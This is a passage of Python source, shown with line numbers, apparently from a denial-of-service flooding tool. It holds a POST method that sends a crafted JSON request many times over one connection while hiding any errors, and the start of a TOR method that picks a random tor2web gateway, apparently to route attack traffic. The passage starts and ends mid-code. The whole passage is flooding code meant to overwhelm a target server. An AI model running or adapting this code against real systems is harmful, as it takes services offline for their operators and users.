(self)
| 966 | else "REQUESTS" |
| 967 | |
| 968 | def POST(self) -> None: |
| 969 | payload: bytes = self.generate_payload( |
| 970 | ("Content-Length: 44\r\n" |
| 971 | "X-Requested-With: XMLHttpRequest\r\n" |
| 972 | "Content-Type: application/json\r\n\r\n" |
| 973 | '{"data": %s}') % ProxyTools.Random.rand_str(32))[:-2] |
| 974 | s = None |
| 975 | with suppress(Exception), self.open_connection() as s: |
| 976 | for _ in range(self._rpc): |
| 977 | Tools.send(s, payload) |
| 978 | Tools.safe_close(s) |
| 979 | |
| 980 | def TOR(self) -> None: |
| 981 | provider = "." + randchoice(tor2webs) |
nothing calls this directly
no test coverage detected